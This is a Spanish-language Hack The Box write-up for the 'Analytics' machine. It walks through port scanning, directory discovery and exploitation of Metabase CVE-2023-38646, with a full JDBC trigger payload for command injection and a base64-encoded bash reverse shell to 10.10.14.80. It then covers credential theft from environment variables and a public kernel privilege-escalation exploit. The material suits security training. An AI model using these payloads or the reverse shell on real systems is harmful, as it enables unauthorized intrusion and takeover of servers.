🟩HTB - Analytics

https://app.hackthebox.com/machines/Analytics

Información General

  • Nombre de la Máquina: Analytics

  • IP de la Máquina: 10.10.11.233

  • Sistema Operativo: Linux

  • Dificultad: Easy

  • Fecha de Publicación: 07 oct 2023


Enumeration

Establecer el objetivo

Primero, establecemos el objetivo utilizando el comando settarget con la dirección IP de la máquina objetivo:

settarget 10.10.11.233 Analytics

Ping de reconocimiento

Realizamos un ping a la máquina objetivo para verificar la conectividad y obtener información sobre la ruta utilizando la opción -R para incluir la ruta de retorno:

ping -c 1 10.10.11.233 -R

Escaneo de puertos con Nmap

Luego, realizamos un escaneo de puertos utilizando Nmap para identificar los puertos abiertos en la máquina objetivo. Utilizamos las opciones -p- para escanear todos los puertos, --open para mostrar solo los puertos abiertos, -sS para un escaneo de tipo TCP SYN, --min-rate 5000 para establecer la velocidad mínima de paquetes y -vvv para un nivel de verbosidad alto. Además, utilizamos -n para desactivar la resolución de DNS, -Pn para no realizar el escaneo de ping, y -oG allPorts para guardar la salida en un archivo con formato Greppable:

sudo nmap -p- --open -sS --min-rate 5000 -vvv  -n -Pn 10.10.11.233 -oG allPorts

Escaneo detallado con Nmap

Posteriormente, realizamos un escaneo más detallado de los puertos identificados utilizando la opción -sCV para detección de versiones y scripts de enumeración de servicios. Específicamente, indicamos los puertos a escanear con -p __PORTS__ (reemplazando __PORTS__ con los puertos identificados en el paso anterior) y guardamos la salida en un archivo de texto con el nombre targeted:

sudo nmap -sCV -p22,80 10.10.11.233 -oN targeted
cat targeted -l java

Para añadir la entrada "10.10.11.233 analytical.htb" al archivo /etc/hosts, puedes usar el siguiente comando en la terminal:

echo "10.10.11.233 analytical.htb" | sudo tee -a /etc/hosts

Este comando añade la dirección IP 10.10.11.233 asociada al nombre de host analytical.htb al archivo /etc/hosts de tu sistema.

Para realizar un descubrimiento de directorios en un sitio web utilizando Gobuster, puedes utilizar el siguiente comando:

gobuster dir -u http://analytical.htb/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50

Este comando utiliza Gobuster para realizar un escaneo de directorios en el sitio web http://analytical.htb/. Utiliza el archivo de palabras /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt como lista de palabras clave para la búsqueda. La opción -t 50 indica que se deben utilizar 50 threads simultáneos para acelerar el proceso.

TIP: Instalación de SecLists con apt-get

Para instalar SecLists en sistemas basados en Debian (como Ubuntu) utilizando apt-get, puedes seguir estos pasos:

  1. Actualiza la lista de paquetes disponibles:

    sudo apt-get update
  2. Instala SecLists:

    sudo apt-get install seclists

Con estos pasos, SecLists se instalará en tu sistema y podrás acceder a la lista de palabras clave en el directorio /usr/share/seclists/.

Para realizar un descubrimiento de subdominios utilizando Gobuster, puedes utilizar el siguiente comando:

gobuster dns -d analytical.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -t 20

Este comando utiliza Gobuster en modo DNS para buscar subdominios en el dominio analytical.htb. Utiliza el archivo de palabras /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt como lista de posibles subdominios. La opción -t 20 indica que se deben utilizar 20 threads simultáneos para acelerar el proceso.

Navegando en la página de analytical.htb, notamos que al intentar acceder al login, este redirecciona a data.analytical.htb

Antes de poder acceder a data.analytical.htb, es necesario agregar la siguiente entrada al archivo de hosts de nuestro sistema:

echo "10.10.11.233 data.analytical.htb" | sudo tee -a /etc/hosts

Esta acción nos permite redirigir el tráfico hacia data.analytical.htb correctamente.

Exploitation

Durante la fase de reconocimiento, descubrimos que Metabase tiene una vulnerabilidad conocida, #CVE-2023-38646. Decidimos verificar si data.analytical.htb es vulnerable a esta CVE realizando pruebas específicas para confirmarlo.

Tras identificar que data.analytical.htb podría ser vulnerable al #CVE-2023-38646, profundizamos en nuestro análisis y descubrimos que el principal problema reside en la exposición indebida del setup token a través de /api/session/properties. Este token, que idealmente no debería estar accesible sin autenticación, es crítico para la configuración inicial de Metabase y, por lo tanto, su exposición representa una grave vulnerabilidad de seguridad.

Extracción del Setup Token

Realizamos una petición GET a /api/session/properties para extraer el setup token, encontrando que, efectivamente, el token está disponible:

curl http://data.analytical.htb/api/session/properties

La respuesta incluye el setup token, que no debería estar expuesto. En este caso, el token se parece a 249fa03d-fd94-4d5b-b94f-b4ebf3df681f.

Explotación de la Vulnerabilidad

Con el setup token en nuestras manos, procedemos a explotar la vulnerabilidad realizando una petición GET a /api/setup/validate con el siguiente cuerpo JSON:

{
    "token": "249fa03d-fd94-4d5b-b94f-b4ebf3df681f",
    "details": {
        "is_on_demand": false,
        "is_full_sync": false,
        "is_sample": false,
        "cache_ttl": null,
        "refingerprint": false,
        "auto_run_queries": true,
        "schedules": {},
        "details": {
            "db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER payload BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('curl 10.10.14.80')\n$$--=x",
            "advanced-options": false,
            "ssl": true
        },
        "name": "test",
        "engine": "h2"
    }
}

Esta consulta utiliza el setup token para realizar una configuración maliciosa que aprovecha la vulnerabilidad, en este caso, intentando ejecutar un comando que podría, por ejemplo, realizar una petición a un servidor controlado por el atacante. En este caso inyectamos un CURL.

Implementando un Reverse Shell Codificado en Base 64

Después de confirmar que la inyección de comandos mediante curl fue exitosa, avanzamos un paso más en nuestra prueba de concepto, ejecutando un reverse shell. Para ello, optamos por codificar el comando del reverse shell en base 64, lo que nos permite evadir potenciales mecanismos de filtrado de entrada y asegurar la correcta ejecución del comando en el servidor objetivo.

Codificación del Comando en Base 64

Primero, generamos la cadena en base 64 del comando del reverse shell. Por ejemplo, para un shell Bash, el comando podría ser algo así como:

sh -i &> /dev/tcp/10.10.14.80/6666 0>&1

Lo codificamos en base 64 utilizando una herramienta de línea de comandos. Por ejemplo, en Linux, podrías usar:

echo -n 'sh -i &> /dev/tcp/10.10.14.80/6666 0>&1' | base64

Esto generará una cadena codificada que se verá algo como esto (el resultado real variará):

c2ggLWkgej4gL2Rldi90Y3AvMTAuMTAuMTQuODAvNjY2NiAwPiYx

Executing Payload

Con la cadena en base 64 lista, modificamos nuestra petición a /api/setup/validate para ejecutar el reverse shell codificado. El comando ejecutado sería una decodificación y ejecución del string en base 64, algo así como:

{
    "token": "TOKEN",
    "details": {
        ...
        "details": {
            "db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER payload BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('echo c2ggLWkgej4gL2Rldi90Y3AvMTAuMTAuMTQuODAvNjY2NiAwPiYx | base64 -d | sh')\n$$--=x",
            ...
        },
        ...
    }
}

Durante la exploración del sistema, ejecutamos el comando ls -la y encontramos un archivo llamado .dockerenv. Este archivo es una señal clara de que nos encontramos dentro de un contenedor Docker.

Usamos los tips de

Al revisar las variables de entorno del contenedor Docker utilizando el comando env, logramos extraer las credenciales de acceso. Descubrimos que el usuario es Metalytics y la contraseña es An4lytics_ds20223#.

Intento de Conexión por SSH con Credenciales Extraídas

Utilizamos las credenciales de usuario que obtuvimos previamente para intentar conectarnos por SSH al sistema objetivo. Para ello, ejecutamos el siguiente comando desde nuestra máquina local:

ssh Metalytics@analytical.htb

Para obtener información sobre el sistema operativo del servidor analytical.htb, ejecutamos el siguiente comando en la conexión por SSH:

cat /etc/os-release

Además hacemos ls -la para encontrar la primera flag user.txt

Además de consultar el archivo /etc/os-release, ejecutamos el comando uname -a para obtener información adicional sobre el sistema operativo y el kernel del servidor analytical.htb. Este comando nos proporciona detalles específicos sobre la versión del kernel, la arquitectura del sistema y otra información relevante que nos ayuda a comprender mejor el entorno objetivo.

Privilege Escalation

Durante nuestra investigación en línea, encontramos un exploit.sh desarrollado por g1vi en su repositorio de GitHub (https://github.com/g1vi/CVE-2023-2640-CVE-2023-32629/tree/main).

Yo decidí acceder al repositorio y copiar el contenido del exploit y analizarlo con la IA, luego de esto procedí a descargarlo desde SSH:

Ejecución del Exploit para CVE-2023-2640 y CVE-2023-32629

Después de subir el exploit.sh a la máquina objetivo, le otorgamos permisos de ejecución utilizando el comando chmod +x y luego ejecutamos el exploit utilizando ./cve-2023-2640.sh.